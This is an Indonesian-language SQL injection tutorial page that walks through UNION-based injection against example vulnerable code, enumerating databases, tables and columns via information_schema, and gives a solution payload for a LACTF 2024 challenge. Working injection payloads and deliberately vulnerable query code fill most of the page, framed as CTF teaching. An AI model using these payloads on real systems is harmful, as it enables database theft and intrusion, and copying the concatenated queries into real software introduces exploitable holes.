💉sql injection
by replican
Cheatsheet sql injection
Pembahasaan Sql Injection dari basic sampai advanced
Pembahasan basic nosqlinjection seperti mongodb , cassandra , graphql dan banyak lagi
List cheatshee sql maupun nosql seperti syntax2 yang sering digunakan dan juga tools yang sering digunakan
SQL Injection
Basic SQL Injection Retreive Data on Another Tables
example easy vulnerable code :
txtUserId = getRequestString("UserId");
// or whatever input that not sanitized can from requests query or body form or etc
txtSQL = "SELECT * FROM lulus WHERE id = " + txtUserId;
Jadi txtUserId Langsung di input pake + tanpa di filter terlebih dahulu
Jadi kita bisa mengleak semua id / table lain bahkan bisa sampai rce jika mysql nya memiliki permission ( into outfile )
Misal kita disuruh leak username dan password dari table Users nya jadi payloadnya adalah
pertama kita cek total tablesnya agar bisa meng enumerate nama db,table dll buat mengquerynya
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #False
disini saya biasanya sering pake group by, tapi kalian bisa pake UNION SELECT, ORDER BY u
Jadi totalnya ada 3 column langsung aja kita query pake UNION SELECT
1 UNION SELECT NULL,NULL,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
jadi server ngebaca nya gini
select *
from lulus
where id = 1
UNION
SELECT NULL,NULL,gRoUp_cOncaT(0x7c,schema_name,0x7c)
fRoM information_schema.schemata
dan output nya adalah nama database yang ada di server dan juga id = 1 dari table lulus
+------+--------------+-----------------------------------------------------------------------------------------+
| id | id_pendaftar | nama |
+------+--------------+-----------------------------------------------------------------------------------------+
| 1 | 123 | Huna |
| NULL | NULL | |information_schema|,|mysql|,|ctf|,|performance_schema|,|sys| |
+------+--------------+-----------------------------------------------------------------------------------------+
lgsg muncul tuh database ctf, lgsg aja kita query untuk apa aja si table yang ada di database ctf itu menggunakan concat table_name seperti ini
1 UNION SELECT NULL,NULL,gRoUp_cOncaT(0x7c,table_name,0x7c) fRoM information_schema.tables where table_schema='ctf';
output :
+------+--------------+--------------------+
| id | id_pendaftar | nama |
+------+--------------+--------------------+
| 1 | 123 | Huna |
| NULL | NULL | |lulus|,|flag_123| |
+------+--------------+--------------------+
kita tau ada table flag lgsg kita akses, tapi kita gatau columnya apa . kita bisa query dengan payload seperti ini
select * from lulus where id = 1 UNION SELECT NULL,NULL,gRoUp_cOncaT(0x7c,column_name,0x7c) fRoM information_schema.columns where table_name='flag_123';
output
+------+--------------+------------+
| id | id_pendaftar | nama |
+------+--------------+------------+
| 1 | 123 | Huna |
| NULL | NULL | |flag_321| |
+------+--------------+------------+
nah kita tau ada column flag_321 aja lgsg aja kita query kan coy kaya gini
1 UNION SELECT NULL,NULL,flag_321 from flag_123;
dan dapet deh flagnya
+------+--------------+---------------------------------------+
| id | id_pendaftar | nama |
+------+--------------+---------------------------------------+
| 1 | 123 | Huna |
| NULL | NULL | N2L{lulus_akademi_ctf} |
+------+--------------+---------------------------------------+
mungkin untuk real case outputnya gakan kaya gitu. sesuaiin aja tapi mirip2 kok pasti
Example chall
refferensi : lactf 2024 la-housing-portal
download :
Kerjain dulu nnti kalo stuck baru liat sini lagi hehehe..
vulnerable code :
query = """
select * from users where {} LIMIT 25;
""".format(
" AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()])
)
prefs.item() ga di filter kita lgsg bisa masukin ' pada variable v yg abis di iterate itu ( v itu adalah value dari nama requests form kita jadi misal ada name=asw v nya itu name = 'asw' gitu. lgsg aja payloadnya kita dpt lihat dari tas bisa inject ' untuk nutup stringnya jadi :
' UNION SELECT 1,1,1,1,1,flag FROM flag where '
dibaca server jadi :
select * from users where any = ''
UNION SELECT 1,1,1,1,1,flag FROM flag where '1' LIMIT 25;
nah kenapa pake ' nah karna commentnya di blacklist jadi nanti error kalo cuman
elect * from users where any = ''
UNION SELECT 1,1,1,1,1,flag FROM flag ' LIMIT 25;
nah karna ada ' sebelom limit , fix nya pake true condition '1 atau bisa '1'='1 atau true condition yg lain.
dan gmn tau table flagnya? ada di function get_flag select * from flag untuk enumerasi atau jg bisa enumerasi total nama database,colum yg ada pake method diatas.
Blind SQL Injection
soon
NOSQL Injection
Cheatsheet
Last updated